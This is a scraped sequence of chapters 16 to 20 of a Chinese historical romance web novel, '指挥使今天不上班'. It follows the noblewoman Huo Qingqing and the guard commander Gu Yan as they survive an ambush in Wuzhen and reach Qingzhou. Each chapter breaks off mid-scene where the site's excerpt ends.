不知过了多久,他跪得麻木了,哭声弱下去。她看到他握着一杆长枪扎入地面,撑起身体,想站起来。双手却无力地一滑,整个人摇晃着又跌下去。 她看到他跪在地上,通红的双眼望向她,血色染了他半身,颤抖着叫了一声:“青青……” 他在叫她。 是……雁将离。 霍青青想伸出手去扶住他,却一下陷进黑暗里,她挣扎着找不到方向。忽然她抓到一根稻草,有人拽着她的手腕,将她拉起。 “将离!” 再睁眼时已是天光大亮,入眼是天青色的纱帐。她扶着额头坐起来,头还有些痛。 好久没梦到那一日的雁将离了。 “怎么?做梦都在喊你的情郎?” 带着戏谑的男声传进耳朵里,霍青青这才清醒过来,转头就看到了抱臂坐在一边的顾衍。 他还顶着那张普通人的脸孔,靠在椅背上坐着。 “锦屏呢?” 顾衍站起身子活动了几下肩颈,微抬下巴朝外面示意:“给你打水去了,让我跟这木头暂时看着你。” 他弯腰凑近霍青青端详着:“想你家情郎了?” 这话说的真是好笑。 “我跟将离,是生死之交,磊落得很。” 霍青青握住袖中的短刀,以刀柄抵住顾衍的胸口,弯眼朝他笑:“男女授受不亲,顾大人不知吗?” “嗤。”顾衍笑一声退开去:“这时候知道男女大防了?当时把我压桌子上的时候怎么不说?” 屋子里活跃起来,昨日里如恶兽一般困着她的梦魇慢慢消散开去。 霍青青坐在榻上撑头看向窗外。今日是个好天气,日头不大,微风不燥。她住的客房永远是最好的,这里也是如此。 从这窗户望出去,能看很远。 顾衍看着她的背影,左手下意识地摩挲着刀柄。 昨日天色擦黑时他们到了乌镇,刚到他就瞧见锦屏从车上下来说是姑娘又睡过去了,让辰砂赶紧找个上好的客栈好让姑娘歇下好好睡一觉。 他们包下这客栈三间上好客房,他一间,伍行辰砂一间,锦屏和霍青青一间。 昨日大夜里,霍青青就有些惊梦的征兆。锦屏慌了神敲开他的门,说是要去给姑娘找药铺抓点安神药。 大夜里哪里的药铺还开着? 未曾想锦屏出去还当真找到铺子,回来时提了一大包药,连夜去借了厨房熬着,熬到今晨才熬好端过来。后面锦屏看着霍姑娘像是要醒了,就让他跟那辰砂一起在门外守着,自己去打水。 锦屏前脚刚走,霍姑娘就挣扎起来。 他听到动静也没想太多其他的就推开门进来。到得榻前,他看到霍姑娘蹙着眉头,额头冒出冷汗。 最后像是淹没在水里拼命挣扎,他刚伸出手,就被霍姑娘死死拉住。他僵着身子,指腹擦过霍姑娘的手背。回过神来抽手时不经意将霍姑娘的手带起了一下,赶忙接住安放回去才被烫似的缩回手。 “霍姑娘。” “嗯?”霍青青转过身子,斜靠在榻上指尖卷起自己垂落下来的发尾,眼睫垂着:“劳顾大人费心,喝两日药便能压住了。” 想来是昨日白日突发癔症,她不记得那时的顾衍说了什么,也不记得她自己做了什么。 最开始那一年发癔症时总是这样,要第二日才能清醒过来。 但自从将离稳定下来,坐镇边关后便好许多。近两年,还未曾有如此严重的时候。 她抬眼看向顾衍,蓦地想起自己那个便宜师父曾说顾衍此人命格不好,主嗜杀,为人太过偏激,容易走上不归路。 “药喝了,免得耽搁查案。”顾衍说着,让辰砂去端放在桌子上的安神药。 霍青青隔老远闻到苦药味儿,顿时别过头去不愿看:“放那儿放那儿,我待会儿自己喝,绝不会耽搁查案,就不劳顾大人费心了。” “哦。你那丫鬟说,让我盯着点你,不然你会倒掉。”顾衍脚下生根,愣是不走。身形如松立在榻边居高临下地看着已经扯了被子飞快捂住头的霍姑娘:“衣服穿得规规矩矩还捂这一床大被子你不热?” 热,热得汗流浃背。 不仅热还丢人,这次丢人丢大发了。霍青青闷在被子里腹诽着,不愿面对。 顾衍闷笑一声,正巧看到锦屏端着一盆温水进来:“你家姑娘这怕苦的毛病,得治。” “不治!”霍青青一把掀开被子露出半个头:“要吃苦你自己吃去。” 厢房里顿时安静下来。 许久,顾衍站定在门口,背对着她抛下一句情绪莫辨的话:“我吃的苦,数都数不清。” 霍青青自觉失言,正想说声对不起就见着顾衍的背影消失在门口。 她坐起身接过辰砂端来的药一口气喝尽,后面赶忙往嘴里塞了一颗蜜枣。 锦屏把也辰砂赶出去,自己留在房里给霍她擦身,一边擦一边小声道:“姑娘不也吃了许多苦吗?怎么不告诉他?” “告诉他做甚?”霍青青拿过床头的话本趴着看起来。话本是去岁很出名的一本 16.破茧蝶 《指挥使今天不上班》全本免费阅读 “这……”顾衍艰难地将视线从倒下后摔得四分五裂的门上挪开:“这不用我赔吧。” 霍青青如梦初醒连连摆手:“自然不用,算我的,我赔就是。” 顾衍松了一口气。 霍青青掏出袖子里的钱袋抛给守在门外的辰砂:“辰砂,你去找掌柜的,就说门年久失修不慎损坏。他不让你赔便罢了,若是让你赔,你便说最多一成。” “且慢。”顾衍几下穿好外袍半道将钱袋截胡:“拿钱做什么?” 他靠在门框上,上上下下抛着钱袋子:“你碰倒的是我房间的门,不如直接赔给我。算我受了惊吓的赔偿,如何?” 霍青青还未答,就听着有人匆匆赶来,原来是掌柜的听到声响上来了。 掌柜的看看地上的门,连连躬身道歉:“实在是太久没人住,木头朽了也忘换新,惊扰到几位实在是对不住。小的这就去找人来给安上。” “也没什么大碍,掌柜的不必如此惊慌。”霍青青安抚一句,依旧从袖子的暗袋里摸出散碎银子递给掌柜的:“这年头生意不好做,乌镇也鲜少有人在此留宿。这些银两多的你便帮我置办些路上能吃的干粮点心,另帮我买点米面做些包子馒头类的吃食。” 她顿了顿:“那两匹马要记着用上好的草料,我家那匹大白马挑食,不是好草料不吃。” “好好好,小的这就去。”掌柜的点头哈腰,双手接过银子就马不停蹄地去喊小二。 他好久没见着这么大方的客人了。 钱袋子在顾衍手里转了一圈完好无损地回到霍青青手中时,还带着些许温热。这次出行,除去那一千五百两银票,剩下的都是些散碎银两。十一先行去青州,定然是什么都置办好的,十一办事周全,她最放心。 看顾衍今日似乎没有要走的意思,霍青青轻巧走来。 今日她穿了一身天青的衣裙,腰间坠着错落佩环,行走间衣摆微漾,在他面前站定:“既如此,不若出去走走。顾大人,你看如何?” “行啊。”顾衍随她一起走出客栈,跟在她身后,离她一步远。 街道上来往的人多,锦屏辰砂跟在后面没一会儿便抱了一堆东西。都是些来往客商卖的小玩意儿,霍青青尽挑精巧别致的。东西不贵,也就懒得讲价,她在前面走,顾衍在后面接。 行至半路,顾衍也抱了许多东西。 他快步跟霍青青并肩,笑道:“霍姑娘我这个打手雇得划算,只供吃食住行,还能帮霍姑娘下苦力。” “顾大人,赚钱嘛,不寒碜。”霍青青取了一支小孩子采来卖的野花轻嗅:“这束花,我也要了。” 小孩子得了钱自是喜笑颜开,连连谢过后跑跳着走开。 午时,人散去许多。 霍姑娘拉着后面三人刚好坐满小摊一张桌子。 锦屏将桌凳擦了又擦,霍青青扶额苦笑:“锦屏……不必……” 话还未落,就被锦屏喊了一句:“姑娘。” 霍青青一时没了言语,只得妥协。 小摊馄饨,色香味俱全,霍青青许久没这般放肆过了,也是逛了这半日有些累,慢条斯理地吃下一大碗。 “我瞧着,你往日是不是吃得太寡淡?”顾衍净手漱口,拿眼看着洗漱的霍姑娘。 今日霍姑娘胃口大开,多吃了不少。 还好。 好就好在,只要霍姑娘回去没饿瘦,他们就不会找他麻烦。 霍姑娘长得不是那种张扬艳丽的面貌,但自带了一身世家沉淀出来的清贵。不需要刻意做什么,她站在那里,就自成一片天地。 方才人多还没查觉,此时人少下去,才觉着有行人爱回头瞧上她一眼。 纯粹的、探究的、惊叹的……各种各样的目光。或是有胆子大的,盯着她许久,被锦屏恶狠狠地看回去才歇了。 三人在外面逛了大半日,从日头高挂逛到日暮西沉。 霍姑娘带着一小坛子酒站在城楼上,看着远处半落的红日。天青的衣裙随着风轻扬,落日时分的风连带起她腰间垂落的碧青丝绦。 她微动一步,佩环叮当。 “顾大人怎的也上来了?”她扬起手中的酒坛子跟顾衍打了个招呼:“喝酒?” 顾衍接过她手中的酒坛,取了自己带上来的两个陶碗满上,他端起一碗轻轻一碰:“等会儿你那丫鬟别来找我就是了。” 他借着落日天光,细细端详着霍青青,霍姑娘端着一碗酒,浅喝一口,看向那半轮红日。 也不知在想什么,他总觉得霍姑娘此刻不似平日里那么洒脱。 也不是真的事事不在意啊。 他心里暗叹,喝尽一碗又倒上,一小坛子酒很快见底。 天色已经黑下来,正要叫霍姑娘时转头就瞧见霍姑娘睁着一双带着星星点点亮光的眼睛看着他。 “酒量这么差,还天天学人喝酒。”顾衍嘲了一句,然后认命地收好酒碗,伸出手想拉一下霍姑娘。 霍青青闪躲开,指着远处还有一线光亮的天边:“顾大人,你说那方安吗?” “你那哥哥带着八万霍家军坐镇,脑子没病的可都不敢轻举妄动。”顾衍只当是霍青青喝醉了开始想自家人。 霍青青闻言点点头,扬起脸笑:“那将离他们也安。” 刚入夜的时辰,还有光亮,顾衍瞧着霍姑娘脸上有些呆的笑,瞧着瞧着就不想看了。 他抬手遮住她的脸:“下去了。” “哦。”霍青青站起来,看着眼前人松散的玄色袖摆,下意识伸手拽住。 顾衍顿住脚步,叹了一口气。 算了。 就这样,霍姑娘拽着他的袖摆跟他下了城楼。刚下来就遇上抱着披风匆匆赶来的锦屏,锦屏赶忙迎上来。 霍青青乖巧喝了解酒茶,呆呆地看着锦屏给自己系披风。 忽闻一阵细碎响动,细微的破空声传来。她反手抽出顾衍腰间的佩刀,银白的刀刃与破空而来的暗器相撞,带出星点火花。 顾衍冷着脸将她一拉,暗处的辰砂早已跟来人缠斗在一起。 很快,锦屏也抽出腰间软剑:“顾大人,姑娘就交给你了。” 霍青青手里握着刀,歪头思考片刻,将刀递回给顾衍:“你的,还给你。” “站这儿,别动。”顾衍笑了声,刀如灵蛇,将霍青青护得密不透风:“喝了酒倒是乖巧多了。” 霍青青站在他身后。看着他与夜色二分开的背影和无数银白刀弧,不知怎的,就觉得很安心,好似可以真的松懈下来。 夜风夹杂着血腥味儿,让霍青青清醒几分,她微提了裙摆蹲下身子以匕首挑开地上尸体的衣襟。 见她这般,顾衍收刀守在她身边:“酒醒了?”< 17.恶兽 《指挥使今天不上班》全本免费阅读 “我作何想?”顾衍冷笑一声。 他几步逼近,辰砂抽刀和锦屏护在霍青青身前。 “都退下。”霍青青止住他们的动作:“全部都退下。” 辰砂立在原地,眼中带着不解。 “辰砂,退下吧。听话。” 待所有人都隐去,城楼之下只余顾衍跟霍青青。方才的尸体都被拖走处理掉,这里好似什么都没有发生过。 顾衍站在霍青青面前,将霍青青困在他的影子里。 他笑得邪性起来,霍青青看着他原本按在刀上的手,攀爬到她的脖颈上。停在命脉上,只需一用力,这般纤细的脖颈就会折在他手里。 “霍家百年世家,门庭百载。是大煜开国功臣,是先帝和当今圣上最信赖的朝臣。而我……” “二十年前,先皇驾崩,几方争势。我于战乱里颠沛流离,在江湖中摸爬滚打,好不容易被贺乾看中进了锦衣卫,最后还得杀了贺乾,才得到皇帝的信赖。” 顾衍的指腹摩挲在霍青青脖颈上,虎口上常年握刀磨起的茧很是粗糙。 便是如此,霍青青都没有任何惧意,她看着顾衍的眼中带着坦荡,一如初见时那般。 她似乎笃定了他不会动手。 许久,顾衍闭目,长叹一口气将手松开。看着霍青青脖颈上微红的指痕,脸上扯出一个虚伪的笑:“明顺帝始终是不会相信我的。” “我初时参加了你的生辰宴,没有明确站队,他依旧不放心。所以,派你来试探我,是吗?” 不知为何,顾衍扯出的笑让霍青青觉得心尖儿微痛,她看着他扯下脸上易容的面皮露出本来的样貌。是她喜欢的那张极好看的脸。 “不是。”霍青青上前一步,腰间佩环碰撞间发出的声响,在这静谧的夜里格外响亮。她看着顾衍,一字一句慢慢道:“我没有骗你,我是极喜欢顾大人的。” 于公,她是霍家人,从始至终都必须以圣上为先。于私,如今事已至此,她也不想顾衍涉足太深,顾衍不该陪着她陷入险境,这是她自己的事,怎么能把别人牵扯进来? 是她一时下错了棋,安错了路。 可是开弓没有回头箭,此行已经启程现在后悔已经来不及了。到了这个地步,她只能随机应变,尽自己最大的力去护住顾衍。 皇伯伯的任务只是其一,如今和盘托出是她自己的选择。 她是把顾衍当朋友的,自然不会逼着他做些什么。 他若不挑明站队,那便算了。皇伯伯只是让她试探,若顾衍肯站在霍家这边自是极好。若是不站,到时朝堂起乱,他冷眼旁观也并非不可。 朝堂如今已是危急存亡之际,用人之时。 顾衍在指挥使之位两年余,明顺帝自是看在眼里。当初他一直觉得此人可堪大用,才拉他上指挥使的位置,让他一路走到今天。 “顾大人。”她唤了一声,很快随着夜风散去。 顾衍笑看她,笑容没有半点温度:“霍青青。” “你如今跟我说这些,就不怕我先答应下来后反悔吗?”到那时,他再同宋世荣联手,暗里捅刀子,霍家能撑住? 霍青青玲珑心思,不可能想不到。 夜色里,霍青青轻笑出声微微仰头看着顾衍:“顾大人不觉得,我们一拍即合吗?” 顾衍微哂,明顺帝并未表态,也未收他特权。霍姑娘如今托出,是笃定了他与明顺帝不会因此生嫌隙。 他低下头,看着只到他胸口的小姑娘尚存稚气的眉眼。 心想,算了。 “我不会轻易说什么站队,也不会偏向哪一方。你放心了?”他抬手将霍姑娘的披风往上一拉,罩住霍姑娘的整个头:“亲近还是疏远是我的事,你既拿我当朋友,就别跟我打官腔。” “怎么?”他低笑起来:“关心人的话不会说?非要绕这么个大弯子惹得我们都不痛快。” 方才他疑长生教此番行动,霍姑娘笑说是许是冲着她自己来的。接着又突然说这么些朝堂的破事,他被气着一时还真没转过弯儿来。 此刻冷静下来一想想,霍姑娘恐怕从第一次遇袭之后就怀疑两方人马是冲着自己来的,他这个指挥使才是顺带。 宋世荣不知道坐镇京中的是影,只是不知从何处知晓霍姑娘要前往青州学宫学四书六艺,就在途中安排下刺客试水。只是他哪里知道,霍家这小姐看着娇贵不知世事,实则手底下握着消息路子比许多人都广。 这么一来就说得通了。 宋世荣笃定他们查不出青州学宫他安排的眼线,才敢拿这些个刺客来试探。 真是蠢得可以。 而长生教,先前霍姑娘生辰宴时就千叮万嘱,让他一定小心。 呵…… 顾衍心里暗骂:小狐狸。 “下次别绕这么多弯子,怕把我牵扯进什么乱七八糟的事就直说。霍姑娘,关心人都这么刻薄,不好。” 嘴上这么说着,顾衍心里却明白的很。霍姑娘说的都是对的。 毕竟……他本就是恶兽,谁能保证恶兽从良之后不会反扑?明顺帝信他是因为两年前贺乾被查与前朝安平王遗子暗中有来往,当年先帝还未病重时,安平王欲弑君夺位被大将徐从风斩于京都闹市,后悬首于城楼之上以儆效尤。与安平王遗子往来,等同于谋反。 帝王心重,满朝文武到底几人可信? 直至他大义灭亲亲手诛杀贺乾,明顺帝才顺势将他拉上指挥使之位。 距今已有两年余。 如今又逢内忧,皇帝疑他,是应该的。 “顾大人不生气了么?”霍青青脸微热,抬手拽住斗篷两边。 “生气啊。刚才你胡说八道一通跟我打官腔我怎么不生气?”顾衍“啪”的一声将刀抽出又入鞘,看着霍姑娘微红的脸总算是彻底没了脾气:“霍姑娘回去之后给你的打手多结点银钱成么?” 霍青青笑起来:“那顾大人回去开个价。” 她见顾衍笑起来,加了一句:“多少都结。” 顾衍眼里含笑,又同她站在一处:“那我可就不客气了。” 坏了。 被人拖进一堆事里打工挡明枪暗箭,现在还只得了一句口头承诺,偏偏他还妥协了。他跟霍青青呆在一处太久,骨气都被狗吃了。 “顾大人,现在若是折返还来得及。”霍青青将披风解开,揉着自己发热的脸,又说出一句让顾衍炸毛的话。 顾衍默了默。 终于还是没管住手,把霍青青的披风又给她拉起来遮住她那双桃花眼。 突如其来的黑暗,让霍青青愣怔一瞬,顾大人怪小家子气的,这都要报复一下。 这哪里是他们口中忘恩负义顾狗贼? 分明是小气吧啦顾大人。 黑暗里,她听着顾衍哼笑一声:“我查了他们这么久,如今托霍姑娘的福,也算是有机会摸摸他们的底了。” “霍姑娘记得回去立个字据。就写——” “霍家霍青青欠锦衣卫指挥使顾衍六千六百六十六两白银。” 六千六百六十六两? 霍青青猛地扯下披风抓住顾衍的手腕,一双桃花眼含着笑意:“顾大人这算不算狮子大开口?” “看在朋友的份上,便宜点如何?” 顾衍唇角带笑,看着她抓在自己护腕上纤细白皙的手:“顾大人可不便宜。” “行了,夜深了。明日还要早些启程。” “回去吧。” 他隔着衣袖,握住霍青青的手腕:“路不好走。” 远处探头探脑的伍行瞧着他们一前一后,疯狂用手肘去 18.玉楼春 《指挥使今天不上班》全本免费阅读 晨光熹微时,马车已行出乌镇。 昨夜里霍青青睡得很好,今日醒得早,天还未亮就梳妆完,绾出一个精细复杂的发髻,半垂青丝。 今日她撩开车帘,便见顾衍已坐于车内正撑着头小憩,听到响动才懒散地睁眼看她:“霍姑娘应当睡得很好。” “昨夜临睡前借了顾大人吉言,自是睡得好。” 她在顾衍对面坐下,慢条斯理地用着早点。 直到她吃完一碟小点,净手漱口后顾衍才端坐身子。 “想来霍姑娘也不知长生教目标是你。”顾衍看着面色比昨日好的霍姑娘,十八九岁的姑娘家气色该更好些才是。他指节叩在桌面上,心思千回百转。若是霍姑娘一开始就知道长生教的目标是她,恐怕就不会做那一纸命签。 那么便只有两个理由,一个是她不知,而另一个……是陨长老的目标由他变成她。 霍青青铺开一局棋,自己跟自己对弈。她垂着眼睫,白皙的指尖挟一颗黑棋落于棋盘上。 “嗯。初时,我并不知。只是推测出来,陨长老会想跟你交手,所以你才是目标。” 棋子落在棋盘上,发出“啪嗒”的轻响,她手上不停,捡了被困的白棋又落下一子。 “但是后来……”霍青青说着,从袖子里重新取出几日前霍十一传来的那一纸密信:“这张密信上,写明青州命案有宋世荣的助力,但也仅仅是助力,本身与长生教没什么实质牵扯。与顾大人查到的,相符。” “紧接着,枫华道遇袭,是宋世荣的手笔。此间种种,我才确定下来他们的主要目标,似乎变成了我。” “那日我说为民请命是真。可,若它一开始的目标就是我,那为什么拖到现在?我从南方庄子回京时,身边只有十一一人,群起攻之,我必死无疑。” 霍青青手下黑白棋你来我往,两相制衡,她看向顾衍脸上认真:“我觉察出来之后,是想过拿顾大人当挡箭牌,但昨夜一事,我觉得……还是太过危险。我不该把顾大人牵扯进来。” 顾衍把玩着棋子,看来之前骂她小狐狸也不冤枉,顾衍看着霍青青突然笑出声来:“霍姑娘这个打手雇得是真的值了。” 这么说来,定然是长生教内部突生变故,目标由他转成霍姑娘。拔除宋世荣暗桩的命令已经吩咐下去,那就先给宋世荣找点不痛快吧。 免得宋世荣又来耽搁他们时间。 距离霍青青推测出来的日子,还差十五日。若不出意外,再行三日,便可到青州境内。 …… 正值学宫招生,青州这些时日很是热闹,来往行人多,客栈住得满满当当。 他们到青州的地界时已是三日后了,这三日行得安稳。霍姑娘夜里睡得好许多。白日里马车停下来,就下来走走。 顾衍和伍行牵着马走在前面,霍青青挽着锦屏打量两边小摊。 小摊五花八门,多是风雅之物。 这不稀奇,青州向来出文人墨客,拥风雅的人便愈发多。青州城里爱建亭台水榭,在这春日里,杨柳傲岸烟纱垂帘,一派好风光。 有人持扇对诗,站于青阳湖畔高谈论阔。青州狂人论文采,折扇一展问风流。 自前朝起,青州便多出傲骨文人,青州学宫更是久负盛名。单说那前朝,青州学宫就出了两个内阁大学士,刚烈敢言,傲骨如松。后来双双辞官回乡,便回了学宫教书育人。 忽闻一阵歌声起,循声望去,原来是青阳湖的高台上,有一紫衣女子弹着琴放声而歌。 女子紫衣随风,腰间系错金绣银腰带,面戴半帘薄纱,姿态风流。 她唱着青州调,诉说万物生。 紫衣飘扬间带起朗朗春光,引人驻足。 霍青青拉住顾衍的衣摆:“顾大人,看那边。那女子,是不是生得好漂亮。” 顾衍扫了一眼,落在她拽住自己衣摆的手上:“远了,瞧不清。” 一旁的伍行凑上来:“顾大人,是挺漂亮的。这模样,在京都都少见。” 顾衍睨了他一眼:“我说,太、远、了、瞧、不、清。” “不看就不看呗。”伍行被他看得发毛,他这才想起来,自家顾大人不爱看女人。 一行人停停走走,到得一处三层小楼,顾衍一眼就瞧见在招牌边缘上刻着一个古书青字。 霍青青随着他的目光看去知晓他多半已经看出来了,遂笑道:“顾大人尽管放心住。” 这是一间歌楼,可听曲歇脚也可留宿。 大堂装得清雅,六方乌木柱,层层青色烟纱自三楼垂落,另牵几道束在柱子上,摆上坠着一色流苏。 最绝的当属大堂中央一面做成大鼓样式漆金描红的台子。 霍青青吩咐锦屏安排下去,很快便有楼中的姑娘前来带路。 “明日便该去学宫中了,今日我还要同十一谈一些事。”霍青青停下脚步,为顾衍推开房门:“顾大人今晚就住这间吧,伍行大人安排着住隔壁,需要什么都可以唤人来。” 顾衍微微点头:“银钱到时姑娘直接扣。” “顾大人真是……”霍青青笑出声,走出几步回眸一笑:“那顾大人明日记得早些起,明日学宫见了。” “行了,知道了。”顾衍应下来,叫人抬了一桶冷水。他也该好好修整,待明日进了学宫,还需跟霍姑娘好好合计一番。 …… 今日一踏进歌楼,霍青青就知晓十一一定会来寻她。 这间是她的屋子,此时已经摆上她爱吃的小点,上了一壶热茶。因着是自家的地盘,锦屏能偷不少懒,只需给自家姑娘睡时梳洗,早起梳妆便算完了。 她记下姑娘想吃的,转身推门出去,差人安排下去。 霍青青看着门口探头探脑的小丫头觉得好笑:“怎么着?太久没见着我,害怕了?” 听她说这话,小丫头才进来。 今日的房间就是她清扫布置的,姑娘三年未过来青州,她还真是……近乡情怯。 昨日接到锦屏传的消息,说姑娘不日将至。楼里私底下老早就传开了,人人都想迎姑娘,但又怕被有心人觉察出来。看着人人都想离姑娘近些,楼主无奈之下只能想了个最公平的法子——抓阄。 她运气极好,抓到了来给姑娘布置房间。 其实姑娘的房间不需要怎么布置,楼里日日都有人打扫,还跟三年前姑娘离开青州时一模一样。只是添置了一些近几年青州时兴的装饰摆件。 今日楼里定是要早些打烊的,楼主可说了,都能陪着姑娘吃饭。 霍青青看着小丫头绞着手,看着她的眼睛里闪啊闪,抬手捏捏她的脸:“长高了。来跟我说说这三年你们过得好吗?” 霍青青牵着小丫头的手一起坐到软榻上,拍拍她的手背:“之前传回的消息里说,说玉楼春该开分号了。我还说怎的这么快。如今回来一见……确是该开分号了。” 小丫头 19.玉楼高台 《指挥使今天不上班》全本免费阅读 “顾大人何事?”霍青青打开门,见着顾衍站在门外,他戴着假面低头瞧着她。 “看来我来得不巧。”顾衍笑笑,抬眼看向屋里坐在桌边的霍十一:“不邀我进去?” 霍青青的屋子与其他客房不同,分成内外两间外带一间书房。外间整日都点了上品熏香,连带着霍姑娘走动时也携了三分暖香。 她让开身子,做出请的手势:“一时怠慢顾大人了。” 装。 顾衍心底笑了声,也不多说,顺着她走进屋子里。 “顾大人有什么事但说无妨。”霍青青提起袖子,给顾衍倒上一盏茶:“顾大人向来喜欢喝茶,不妨试试这雪蕊新芽。” “哦?”顾衍看着所谓雪蕊新芽,是取绿萼梅、新竹叶炮制的。用的当是山泉水,隐带杏竹香。经山泉水一煮,清香更甚,沁人心脾。 顾衍浅尝一口,轻笑道:“倒是不负此名。” “还以为顾大人会歇下。”霍青青眉眼间尽是暖色:“顾大人先歇吧,晚些我差人去叫顾大人和伍大人用晚膳。今日他们备了不少好吃的,酒水管够。” “不碍事,往常南北镇抚司忙起来三五天不休息是常事。”顾衍摩挲着杯壁,略沉吟:“今夜我同伍行要外出,吃饭就不必了。” “恐怕真得明日学宫再见了。明日,你或许还得叫我一声夫子。” “这声夫子便留着明日叫吧。”霍青青毫不意外,顾衍这般年纪也做不得学子。做个夫子倒是合情合理。 忽然,霍青青想起什么似的问了一句:“顾大人无时无刻都在操劳,可有想过给自己多划几天休沐日?” 顾衍哂笑一声:“人容易懈怠,有第一次就会想第二次。我若是懈怠了,手底下的人谁给我养?” “也是,顾大人尽职尽责,是皇伯伯说的满朝文武之表率。” “表率不也一样被疑吗?” “顾大人这话,就不怕被我传出去?到时候扣上个大不敬的罪名,顾大人不怕么?” 顾衍一双星目直直看着霍青青,眼底带着玩味:“我怕什么?若说大不敬,霍姑娘不是首当其冲?” “哎,把柄被顾大人拿住了,这可如何是好啊?”霍青青两手一摊,颇有些无可奈何。 顾衍眉一挑,笑道:“拿钱消灾啊。” 两人闲谈着,霍十一没有言语,早就站起身站在霍青青身后。他垂下眼看着霍青青,垂在身侧的手握紧又松开。 顾衍喝完一盏茶,茶盏放在桌面上没有发出任何声音。 一室的静默里,他抬手擦过霍青青耳畔。 这瞬间,他明显地感觉到站在霍青青身后的霍十一杀意凛然。 霍青青微微偏开头,轻声道:“十一。” “属下在。”霍十一收回视线,微弯身子:“姑娘何事?” “没什么,门外有动静,去帮我看看。” “是。” 霍十一拉开门,果然见着四五个人扎堆在门口,为首的紫衣女子见他突然开门,忙不迭望天:“今天天气真好哈,你们说是不是。” “啊,是啊,大晴天。” “是啊是啊,我想起姑娘爱吃燕窝羹,我去给姑娘取上等燕窝泡好,晚些做。” “啊对,我还没去捡蜜枣,姑娘一定饭后一定想吃青州蜜饯了。” 一堆人七嘴八舌一通,瞅着霍十一冷脸极快退去,只剩下紫衣女子站在门口。她探头看一眼屋内,正巧撞上霍青青含笑的眼眸,遂吹了几声不成调的口哨后将门带上。 “还杵着干什么?”她说着,一双凤眼滴溜一转,风流天成:“不甘心?那也没用。” “你跟着小青儿跟了这么些年,你以为你藏得很好呐?”她伸出手在霍十一眼前晃:“你们有一个算一个,霍清风、你、雁将离,都是孬种。” 霍十一冷眼看着眼前的女子,手按在腰间悬挂的刀柄上:“别扰姑娘。” “切,还不让人说了。”紫衣女子翻了个白眼。她兰浔纵横江湖二十余载没见过这么木的,小青儿哪里都好,就是于感情一事太木了。 你看这个霍十一,跟在小青儿身后跟了少说也有七八年了,好像铁了心思不会往前走一步。你说他放得下吧,他看着小青儿同别的男人一处他会像活人一样生气。你说他放不下吧,他偏偏就是不愿踏出一步。 霍清风是这三个人里看得最透彻的。 最难办的怕是雁将离。 得了,说不动的。话说多了口干,她晚点少不得要找小青儿讹一坛好酒来喝。 兰浔的身影很快消失在转角,霍十一抱着刀靠在门口守着。不多时便见锦屏带着辰砂过来,锦屏还未言语就被他拦下:“姑娘在说事,有事晚些。” “不是,我带他来跟你碰碰。” 霍十一略一沉吟点头道:“他随我走就是。姑娘再过一个时辰恐怕要吃茶点,你去安排做新鲜的。” 待外面没了人声,顾衍才同霍青青说起明日的安排。 顾衍总觉得跟霍姑娘在一处,自己都被带得懒散许多。霍姑娘在路上马车里坐着时,喜欢随手拿一本书来看,志怪话本奇门遁甲,什么都爱看看。要么就拿上一个小物件珠串玉坠子放手里盘。或是偶尔摸点小孩子玩儿的九连环,下一盘棋。 此刻没有能把玩的,手一时不知如何放。 习惯真是要命的东西。 顾指挥使打定主意,日后一定不能再跟霍姑娘一样这么闲适下去。 “我这方的人,再多三日,便可到。”顾衍将手中的一枚印信递给霍青青:“若我不在,霍姑娘可凭这枚印信让他们做事。” 霍青青看着他放在自己手心的印信,印信是铜制,入手微凉,没有什么繁复的纹样,只浅浅刻着一个顾字。 见霍青青不明所以,顾衍抬手露出绑好的袖箭:“总不能白占了霍姑娘的便宜。就当抵了。” 是了,顾大人是不爱占别人便宜的。那时她请他喝酒,他都得拿着花锄找点事做。顾大人似乎……吃穿用度谈不上好,却绝没有多坏。寻常除去官服,其他时候穿的衣物不是什么绫罗绸缎,但也是合身又利落。 顾大人的钱都去哪里了呢? 他在锦衣卫八年,做了这两年多的指挥使,因着破的案子多,皇伯伯赏下的金银少说也有成千上万。这些金银不是小数目,若是给普通人,一辈子都花不完。 “我的人,霍姑娘可以放心用。”见霍青青不言语,顾衍只当是她有顾虑,他绕过桌子站在霍青青身边,一手撑在桌面:“有的事,霍姑娘可以自行决断。若是寻不到我,就召他们。” 霍青青明白过来,看着眼前光明磊落的顾大人觉得自己小人之心。 先前纵然与顾衍说开很多,她还是怕顾衍心有嫌隙。 顾衍这是想到了这一点,才拿出印信给她,让她放心。他手下的人,定是一等一的高手。如今全权交予她,着实是表了此行心迹。 大致的安排说完,印信一给,顾衍同她打了声招呼便走了。 走至门口推开门,他顿了顿:“霍姑娘的雪蕊新芽,好喝是好喝,但莫要贪多。” 说罢,他带上门出去。 霍青青刚轻笑一声,又听着他的声音自门外传来:“今日晚间 20.青州学宫 《指挥使今天不上班》全本免费阅读 夜里的顾衍,跟伍行一起坐在玉楼春屋顶,酒这东西吧,他算不得喜欢也不怎么挑剔。 赐下来的御酒他喝,普通好酒劣酒他也喝。 此刻在青州,天清月朗。 伍行咂咂嘴,这一葫芦是早些时候外面随便打的高粱酒,果然还是差点滋味儿。 “此行,当真那么凶险?”伍行放下酒葫芦,一葫芦酒就喝这么几口,着实不过瘾。 顾衍没搭话,手里牙牌打着转。 “我说……你就真的那么信霍青青说的话?就不怕她骗你?”伍行摇着头,看着高悬的银月斟酌片刻道:“你似乎从未这样过。” “我哪样?”顾衍瞥他一眼,看着他二不挂五地曲着一条腿随意坐着。 “你还好意思问啊?” 顾衍抬手摸着手腕上绑着的袖箭,一时觉得自己似乎是太过相信霍青青了。 “她所查,我所查,九成都是一样的。”他慢条斯理地整理起自己的袖口:“皇帝纵然没那么信我,但也舍不得放了我这个助力。更何况,长生教为祸民间,于朝堂并无大碍。” “我能看出来,霍青青跟朝廷那些个满肚子算计的文臣不一样。”他又紧了紧袖箭,若无其事地低头打量自己这一身衣服:“否则她不会跟我说这么明白。” 帝心难测,她是当真怕他一着不慎让明顺帝抓住把柄把他同那宋世荣一并除去。 霍姑娘瞧着,像是知道他心底所想,如当初那般,他被霍姑娘看透了。 他不知霍姑娘有过什么过往,只知道她如今身体不好,难有好眠的时候。好不容易这些日子,喝过两日安神药睡得好些,又紧接着要赶往学宫之中等着长生教。 这姑娘,怎么一刻都不闲? 伍行嗤了一声,拂一拂衣袖从屋顶上跳下去。 他才不想陪着顾衍这个木头,霍姑娘多好一人啊,真是…… 等伍行走了,顾衍才起身迎着清朗月光纵跃下去,独自一人行在月色之中,留下一地银芒生辉。 …… 翌日。 青州学宫招生在即,无论门第无论出身,只看卷上作答如何。 